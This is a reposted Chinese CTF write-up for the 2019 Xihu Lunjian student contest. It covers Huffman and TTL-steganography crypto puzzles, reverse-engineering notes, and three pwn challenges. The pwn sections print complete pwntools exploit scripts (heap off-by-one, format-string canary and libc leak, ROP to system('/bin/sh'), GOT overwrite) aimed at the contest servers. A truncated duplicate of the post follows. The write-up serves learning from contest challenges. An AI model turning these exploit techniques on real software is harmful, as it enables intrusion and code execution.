2019西湖论剑网络安全技能大赛（大学生组）部分writeup

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发布时间：2019 年 04 月 09 日
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分类： CTF

<span style="font-family: 宋体; font-size: 18px;">接下来大概写写我们的解题思路，由于做题的时候没想到可以进名次，而且赛后比赛平台也关了，所以很多实现过程的截图就没法弄了，只下了除web以外的题目。</span>

<h2>CRYPTO [toc]</h2>

<h3>第一题 HardGame[toc]</h3>

<span style="font-family: 宋体; font-size: 18px;">这道题我们并没有做出来，可以看看大佬写的--><span class="external-link"><a class="no-external-link" href="https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA" target="_blank"><i data-feather="external-link"></i>https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA</a></span></span>

<h3>第二题 哈夫曼之谜[toc]</h3>

<span style="font-family: 宋体; font-size: 18px;">下载下来的压缩包里就两个文件</span>

<span style="font-family: 宋体; font-size: 18px;">在txt文档内容如下：</span>

<span style="font-family: 宋体; font-size: 18px;"> 看到哈夫曼我记得当初好像是在数据结构里面学过，果断找书，百度查资料，后来了解到，上面01的部分其实可以看做是加密的密文，下面相当于解密的秘钥。</span>

<span style="font-family: 宋体; font-size: 18px;">在下面的两列中，第一列是哈夫曼树的叶子节点，第二列是对应的权重值，之后就是长久的网上找代码（没办法，代码功底有点差，写起来太费时间了，只能网上找找改改）</span>

<span style="font-family: 宋体; font-size: 18px;">找到的代码如下（在vs中运行的，之前的代码在运行的时候因为数组设置的太小，之后会有溢出，所以我改了下数组大小）：</span>

<pre><code class="language-c ">#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef int ELEMTYPE;

// 哈夫曼树结点结构体
typedef struct HuffmanTree
{
    ELEMTYPE weight;
    ELEMTYPE id;        // id用来主要用以区分权值相同的结点，这里代表了下标
    struct HuffmanTree* lchild;
    struct HuffmanTree* rchild;
}HuffmanNode;

// 构建哈夫曼树
HuffmanNode* createHuffmanTree(int* a, int n)
{
    int i, j;
    HuffmanNode **temp, *hufmTree;
    temp = malloc(n*sizeof(HuffmanNode));
    for (i = 0; i<n; ++i)     // 将数组a中的权值赋给结点中的weight
    {
        temp[i] = (HuffmanNode*)malloc(sizeof(HuffmanNode));
        temp[i]->weight = a[i];
        temp[i]->id = i;
        temp[i]->lchild = temp[i]->rchild = NULL;
    }

for (i = 0; i<n - 1; ++i)       // 构建哈夫曼树需要n-1合并
    {
        int small1 = -1, small2;      // small1、small2分别作为最小和次小权值的下标
        for (j = 0; j<n; ++j)         // 先将最小的两个下标赋给small1、small2（注意：对应权值未必最小）
        {
            if (temp[j] != NULL && small1 == -1)
            {
                small1 = j;
                continue;
            }
            else if (temp[j] != NULL)
            {
                small2 = j;
                break;
            }
        }

for (j = small2; j<n; ++j)    // 比较权值，挪动small1和small2使之分别成为最小和次小权值的下标
        {
            if (temp[j] != NULL)
            {
                if (temp[j]->weight < temp[small1]->weight)
                {
                    small2 = small1;
                    small1 = j;
                }
                else if (temp[j]->weight < temp[small2]->weight)
                {
                    small2 = j;
                }
            }
        }
        hufmTree = (HuffmanNode*)malloc(sizeof(HuffmanNode));
        hufmTree->weight = temp[small1]->weight + temp[small2]->weight;
        hufmTree->lchild = temp[small1];
        hufmTree->rchild = temp[small2];

temp[small1] = hufmTree;
        temp[small2] = NULL;
    }
    free(temp);
    return hufmTree;
}

// 以广义表的形式打印哈夫曼树
void PrintHuffmanTree(HuffmanNode* hufmTree)
{
    if (hufmTree)
    {
        printf("%d", hufmTree->weight);
        if (hufmTree->lchild != NULL || hufmTree->rchild != NULL)
        {
            printf("(");
            PrintHuffmanTree(hufmTree->lchild);
            printf(",");
            PrintHuffmanTree(hufmTree->rchild);
            printf(")");
        }
    }
}

// 递归进行哈夫曼编码
void HuffmanCode(HuffmanNode* hufmTree, int depth)      // depth是哈夫曼树的深度
{
    static int code[100];
    if (hufmTree)
    {
        if (hufmTree->lchild == NULL && hufmTree->rchild == NULL)
        {
            printf("id为%d权值为%d的叶子结点的哈夫曼编码为 ", hufmTree->id, hufmTree->weight);
            int i;
            for (i = 0; i<depth; ++i)
            {
                printf("%d", code[i]);
            }
            printf("\n");
        }
        else
        {
            code[depth] = 0;
            HuffmanCode(hufmTree->lchild, depth + 1);
            code[depth] = 1;
            HuffmanCode(hufmTree->rchild, depth + 1);
        }
    }
}

// 哈夫曼解码
void HuffmanDecode(char ch[], HuffmanNode* hufmTree, char string[])     // ch是要解码的01串，string是结点对应的字符
{
    int i;
    int num[500];
    HuffmanNode* tempTree = NULL;
    for (i = 0; i<strlen(ch); ++i)
    {
        if (ch[i] == '0')
            num[i] = 0;
        else
            num[i] = 1;
    }
    if (hufmTree)
    {
        i = 0;      // 计数已解码01串的长度
        while (i<strlen(ch))
        {
            tempTree = hufmTree;
            while (tempTree->lchild != NULL && tempTree->rchild != NULL)
            {
                if (num[i] == 0)
                {
                    tempTree = tempTree->lchild;
                }
                else
                {
                    tempTree = tempTree->rchild;
                }
                ++i;
            }
            printf("%c", string[tempTree->id]);     // 输出解码后对应结点的字符
        }
    }
}

int main()
{
    int i, n;
    printf("请输入叶子结点的个数：\n");
    while (1)
    {
        scanf("%d", &n);
        if (n>1)
            break;
        else
            printf("输入错误，请重新输入n值！");
    }

int* arr;
    arr = (int*)malloc(n*sizeof(ELEMTYPE));
    printf("请输入%d个叶子结点的权值：\n", n);
    for (i = 0; i<n; ++i)
    {
        scanf("%d", &arr[i]);
    }

char ch[500], string[500];
    printf("请连续输入这%d个叶子结点各自所代表的字符：\n", n);
    fflush(stdin);      // 强行清除缓存中的数据，也就是上面输入权值结束时的回车符
    gets(string);

HuffmanNode* hufmTree = NULL;
    hufmTree = createHuffmanTree(arr, n);

printf("此哈夫曼树的广义表形式为：\n");
    PrintHuffmanTree(hufmTree);
    printf("\n各叶子结点的哈夫曼编码为：\n");
    HuffmanCode(hufmTree, 0);

printf("要解码吗？请输入编码:\n");
    gets(ch);
    printf("解码结果为：\n");
    HuffmanDecode(ch, hufmTree, string);
    printf("\n");

free(arr);
    free(hufmTree);

return 0;
}
</code></pre>

<span style="font-family: 宋体; font-size: 18px;">最后输出结果：</span>

<span style="font-family: 宋体; font-size: 18px;">最后出来的格式有点问题，要处理一下</span>

<span style="font-family: 宋体; font-size: 18px;">这个题我后来看别人WP说是BSF算法，这个我也不太懂，以前没碰到过，但是我们学弟直接手撸，就出来了，哈哈~</span>

<span style="font-family: 宋体; font-size: 18px;"> 我看也有人写了脚本：</span>

<h3>第二题 奇怪的TTL字段 [toc]</h3>

<span style="font-family: 宋体; font-size: 18px;">题目描述如下：</span>

<span style="font-family: 宋体; font-size: 18px;">我们截获了一些IP数据报，发现报文头中的TTL值特别可疑，怀疑是通信方嵌入了数据到TTL，我们将这些TTL值提取了出来，你能看出什么端倪吗？</span>

<span style="font-family: 宋体; font-size: 18px;">在txt文档中全是这种数字，以前遇到过类似的题型，首先都是把里面的数字提取出来，再做处理</span>

<span style="font-family: 宋体; font-size: 18px;">至于对数字该怎么处理，就查了好对资料，后来找到一篇文章提醒了我</span>

<span style="font-family: 宋体; font-size: 18px;">最后处理方式如下：</span>

<span style="font-family: 宋体; font-size: 18px;">（如果是2种情况就猜0 1，4种情况就猜00 01 10 11，转换为8位二进制，然后只取前两位，因为观察会发现后面几位都是1）</span>

<span style="font-family: 宋体; font-size: 18px;">之后就是对数据的进制转换了，最终转成十六进制</span>

<span style="font-family: 宋体; font-size: 18px;">在最后转换出的结果中，发现了六个jpg的文件头（ffd8），说明这就是六张图片，放在winhex生成图片</span>

<span style="font-family: 宋体; font-size: 18px;">再用PS合成了一张二维码的图片</span>

<span style="font-family: 宋体; font-size: 18px;">扫描结果如下所示：</span>

<span style="font-family: 宋体; font-size: 18px;">根据单词AutomaticKey想到了是：自动密钥密码</span>

<span style="font-family: 宋体; font-size: 18px;">解密网址：<span class="external-link"><a class="no-external-link" href="http://ctf.ssleye.com/autokey.html" target="_blank"><i data-feather="external-link"></i>http://ctf.ssleye.com/autokey.html</a></span></span>

<span style="font-family: 宋体; font-size: 18px;">这种加密只是针对字母，所以解密之后把对应的数字加上就可以了。</span>

<span style="font-family: 宋体; font-size: 18px;">附py脚本如下（因为代码有点多，所以就只上截图了）</span>

<h3>第三题 crackme[toc]</h3>

<span style="font-family: 宋体; font-size: 18px;">这道题我们没有做出来，可以看大佬写的wp---><span class="external-link"><a class="no-external-link" href="https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA" target="_blank"><i data-feather="external-link"></i>https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA</a></span></span>

<h3>第一题 Storm Note[toc]</h3>

<span style="font-family: 宋体; font-size: 18px;">直接上exp</span>

<pre><code class="language-python ">from pwn import *
#p=process('./storm')
p=remote('ctf1.linkedbyx.com',10444)  //网址+端口
#port:10444
def add(size):
  p.recvuntil('Choice')
  p.sendline('1')
  p.recvuntil('?')
  p.sendline(str(size))

def edit(idx,mes):
  p.recvuntil('Choice')
  p.sendline('2')
  p.recvuntil('?')
  p.sendline(str(idx))
  p.recvuntil('Content')
  p.send(mes)

def dele(idx):
  p.recvuntil('Choice')
  p.sendline('3')
  p.recvuntil('?')
  p.sendline(str(idx))

add(0x18)     #0
add(0x508)    #1
add(0x18)     #2
edit(1, 'h'*0x4f0 + p64(0x500))   #set fake prev_size

add(0x18)     #3
add(0x508)    #4
add(0x18)     #5
edit(4, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
add(0x18)     #6

dele(1)
edit(0, 'h'*(0x18))    #off-by-one
add(0x18)     #1
add(0x4d8)    #7
dele(1)
dele(2)         #backward consolidate
add(0x38)     #1
add(0x4e8)    #2

dele(4)
edit(3, 'h'*(0x18))    #off-by-one
add(0x18)     #4
add(0x4d8)    #8
dele(4)
dele(5)         #backward consolidate
add(0x48)     #4

dele(2)
add(0x4e8)    #2
dele(2)
storage = 0xabcd0100
fake_chunk = storage - 0x20

p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk)      #bk
edit(7, p1)

p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
edit(8, p2)
add(0x48)
edit(2,p64(0)*8)

p.sendline('666')
p.send('\x00'*0x30)
'''
add(0x100-8)
add(0x200)
add(0x100)

edit(1,(p64(0x200)+p64(0x100))*32)
dele(1)
edit(0,'a'*(0x100-8))
add(0x100)
add(0x60)
dele(1)
dele(2)
add(0x100)
add(0x60)
'''
p.interactive()
</code></pre>

<h3>第二题 story[toc]</h3>

<center>
<span class="external-link"><a class="no-external-link" href="https://i.loli.net/2019/04/09/5cac07cde7728.png" target="_blank"><i data-feather="external-link"></i><img src="https://i.loli.net/2019/04/09/5cac07cde7728.png" alt="" style=""></a></span>
</center>
<span style="font-family: 宋体; font-size: 18px;">这个题好像是libc泄露</span>

<pre><code class="language-python ">#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = remote('ctf1.linkedbyk.com', 10195)  //网址+端口号
#io = process('./story')
elf = ELF('./story')
#libc = elf.libc
libc = ELF('libc6_2.23-0ubuntu10_amd64.so')

io.recv()
__libc_start_main_got = elf.got['__libc_start_main']
payload = "%15$llx"+"AAAAAAAA"  + "%11$s" + "QQQQ" + p64(__libc_start_main_got)
print payload
io.sendline(payload)
io.recvuntil("Hello ")
cannary = int(io.recvuntil('AAAAAAAA', drop = True),16)
print hex(cannary)
temp = io.recv()[0:6]
__libc_start_main_addr = u64(temp+p8(0)*2)
libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main']
print hex(__libc_start_main_addr)
#one_gadgets = libc_base + 0xf1147
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
#get one_gadgetA
print "get_addr = " + hex(__libc_start_main_addr)
#print "one_gadgets = "+ hex(one_gadgets)
print "get_got = " + hex(__libc_start_main_got)
print "cannay= " + hex(cannary)
print "system_addr=" + hex(system_addr)
print "bin_sh=" + hex(bin_sh)
pop_rdi = 0x0000000000400bd3
#gdb.attach(io)
payload = 'A'*136 + p64(cannary) * 2 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
#payload = 'A'*136 + p64(cannary) * 2 + p64(one_gadgets)

print hex(cannary)
Size = len(payload)+1
print "size = " + str(Size)
io.sendline(str(len(payload)))
#gdb.attach(io)
print io.recv()
io.sendline(payload)
io.interactive()
</code></pre>

<h3>第三题 noinfoleak[toc]</h3>

<pre><code class="language-python ">from pwn import *
#p=process('./noinfoleak')
libc = ELF('./libc-2.23.so')
p=remote('ctf1.linkedbyx.com',10426)  //网址+端口
def add(size,mes):
  p.recvuntil('>')
  p.sendline('1')
  p.recvuntil('>')
  p.sendline(str(size))
  p.recvuntil('>')
  p.send(mes)

def dele(idx):
  p.recvuntil('>')
  p.sendline('2')
  p.recvuntil('>')
  p.sendline(str(idx))
def edit(idx,mes):
  p.recvuntil('>')
  p.sendline('3')
  p.recvuntil('>')
  p.sendline(str(idx))
  p.recvuntil('>')
  p.send(mes)

add(0x60,p64(0x71)*4)
add(0x60,p64(0x71)*4)
add(0x60,p64(0x71)*4)
dele(0)
dele(1)
edit(1,'\x10')
add(0x60,p64(0x71)*4)
add(0x60,p64(0x71)*4)
add(0x50,'aaa')
add(0x50,'bbb')
edit(0,p64(0)+p64(0xd1))
dele(4)
a = 0x46# int(raw_input("a"),16)
edit(0,p64(0)+p64(0x71)+'\x5d'+chr(a))
dele(1)
dele(2)
edit(2,'\x10')
add(0x60,'a')
add(0x60,'\x00')
add(0x60,'\x00')
dele(5)
dele(6)
edit(6,p64(0x601120))
add(0x50,'/bin/sh\x00')
add(0x50,'\x20')
edit(9,p64(0xfbad3c80)+p64(0)*3+p8(0))
p.send('\n')
p.recv(24)
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - (0x7fb4e88cf6e0-0x7fb4e850c000)
info("libc:0x%x",libc_base)
system = libc_base+libc.symbols['system']
edit(11,p64(0x601018))
edit(9,p64(system))
dele(10)

p.interactive()
</code></pre>

<h2>REVERSE[toc]</h2>

<h3>第一题 easyCpp[toc]</h3>

<span style="font-family: 宋体; font-size: 18px;">用IDA打开，分析函数代码，发现好像是输入过两个变换</span>

<span style="font-family: 宋体; font-size: 18px;">其他所有的数加上最后一个</span>
<span style="font-family: 宋体; font-size: 18px;">- 顺序整个反过来，最后一个不变</span>
<span style="font-family: 宋体; font-size: 18px;">最后要变成一个斐波那契数列1 1 2 3 5 ... 987，可以得输入</span>

<h3>第二题 Junk_Instruction[toc]</h3>

<h3>第三题 Testre[toc]</h3>

<span style="font-family: 宋体; font-size: 18px;">直接用IDA打开，F5查看函数，主要是对代码的分析，涉及到了些算法</span>

<span style="font-family: 宋体; font-size: 18px;">看下面的这点代码，好像是辗转相除法</span>

<span style="font-family: 宋体; font-size: 18px;">之后查看字符串 主菜单View-Open subviews-strings，看到table</span>

<span style="font-family: 宋体; font-size: 18px;">之后就是Base58解密了，网址：<span class="external-link"><a class="no-external-link" href="http://ctf.ssleye.com/base85.html" target="_blank"><i data-feather="external-link"></i>http://ctf.ssleye.com/base85.html</a></span></span>

转载自 <a href="https://www.cnblogs.com/Yuuki-/p/10668580.html" title="https://www.cnblogs.com/Yuuki-/p/10668580.html">https://www.cnblogs.com/Yuuki-/p/10668580.html</a>

最后修改：2021 年 02 月 24 日

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2019西湖论剑网络安全技能大赛（大学生组）部分writeup

admin • 2019 年 04 月 09 日

<h2>CRYPTO [toc]</h2>

<h3>第一题 HardGame[toc]</h3>

<h3>第二题 哈夫曼之谜[toc]</h3>

<span style="font-family: 宋体; font-size: 18px;">下载下来的压缩包里就两个文件</span>

<span style="font-family: 宋体; font-size: 18px;">在txt文档内容如下：</span>

<pre><code class="language-c ">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

typedef int ELEMTYPE;

// 构建哈夫曼树
HuffmanNode* createHuffmanTree(int* a, int n)
{
    int i, j;
    HuffmanNode **temp, *hufmTree;
    temp = malloc(n*sizeof(HuffmanNode));
    for (i = 0; i&lt;n; ++i)     // 将数组a中的权值赋给结点中的weight
    {
        temp[i] = (HuffmanNode*)malloc(sizeof(HuffmanNode));
        temp[i]-&gt;weight = a[i];
        temp[i]-&gt;id = i;
        temp[i]-&gt;lchild = temp[i]-&gt;rchild = NULL;
    }

for (i = 0; i&lt;n - 1; ++i)       // 构建哈夫曼树需要n-1合并
    {
        int small1 = -1, small2;      // small1、small2分别作为最小和次小权值的下标
        for (j = 0; j&lt;n; ++j)         // 先将最小的两个下标赋给small1、small2（注意：对应权值未必最小）
        {
            if (temp[j] != NULL &amp;&amp; small1 == -1)
            {
                small1 = j;
                continue;
            }
            else if (temp[j] != NULL)
            {
                small2 = j;
                break;
            }
        }

for (j = small2; j&lt;n; ++j)    // 比较权值，挪动small1和small2使之分别成为最小和次小权值的下标
        {
            if (temp[j] != NULL)
            {
                if (temp[j]-&gt;weight &lt; temp[small1]-&gt;weight)
                {
                    small2 = small1;
                    small1 = j;
                }
                else if (temp[j]-&gt;weight &lt; temp[small2]-&gt;weight)
                {
                    small2 = j;
                }
            }
        }
        hufmTree = (HuffmanNode*)malloc(sizeof(HuffmanNode));
        hufmTree-&gt;weight = temp[small1]-&gt;weight + temp[small2]-&gt;weight;
        hufmTree-&gt;lchild = temp[small1];
        hufmTree-&gt;rchild = temp[small2];

temp[small1] = hufmTree;
        temp[small2] = NULL;
    }
    free(temp);
    return hufmTree;
}

// 以广义表的形式打印哈夫曼树
void PrintHuffmanTree(HuffmanNode* hufmTree)
{
    if (hufmTree)
    {
        printf("%d", hufmTree-&gt;weight);
        if (hufmTree-&gt;lchild != NULL || hufmTree-&gt;rchild != NULL)
        {
            printf("(");
            PrintHuffmanTree(hufmTree-&gt;lchild);
            printf(",");
            PrintHuffmanTree(hufmTree-&gt;rchild);
            printf(")");
        }
    }
}

// 递归进行哈夫曼编码
void HuffmanCode(HuffmanNode* hufmTree, int depth)      // depth是哈夫曼树的深度
{
    static int code[100];
    if (hufmTree)
    {
        if (hufmTree-&gt;lchild == NULL &amp;&amp; hufmTree-&gt;rchild == NULL)
        {
            printf("id为%d权值为%d的叶子结点的哈夫曼编码为 ", hufmTree-&gt;id, hufmTree-&gt;weight);
            int i;
            for (i = 0; i&lt;depth; ++i)
            {
                printf("%d", code[i]);
            }
            printf("\n");
        }
        else
        {
            code[depth] = 0;
            HuffmanCode(hufmTree-&gt;lchild, depth + 1);
            code[depth] = 1;
            HuffmanCode(hufmTree-&gt;rchild, depth + 1);
        }
    }
}

// 哈夫曼解码
void HuffmanDecode(char ch[], HuffmanNode* hufmTree, char string[])     // ch是要解码的01串，string是结点对应的字符
{
    int i;
    int num[500];
    HuffmanNode* tempTree = NULL;
    for (i = 0; i&lt;strlen(ch); ++i)
    {
        if (ch[i] == '0')
            num[i] = 0;
        else
            num[i] = 1;
    }
    if (hufmTree)
    {
        i = 0;      // 计数已解码01串的长度
        while (i&lt;strlen(ch))
        {
            tempTree = hufmTree;
            while (tempTree-&gt;lchild != NULL &amp;&amp; tempTree-&gt;rchild != NULL)
            {
                if (num[i] == 0)
                {
                    tempTree = tempTree-&gt;lchild;
                }
                else
                {
                    tempTree = tempTree-&gt;rchild;
                }
                ++i;
            }
            printf("%c", string[tempTree-&gt;id]);     // 输出解码后对应结点的字符
        }
    }
}

int main()
{
    int i, n;
    printf("请输入叶子结点的个数：\n");
    while (1)
    {
        scanf("%d", &amp;n);
        if (n&gt;1)
            break;
        else
            printf("输入错误，请重新输入n值！");
    }

int* arr;
    arr = (int*)malloc(n*sizeof(ELEMTYPE));
    printf("请输入%d个叶子结点的权值：\n", n);
    for (i = 0; i&lt;n; ++i)
    {
        scanf("%d", &amp;arr[i]);
    }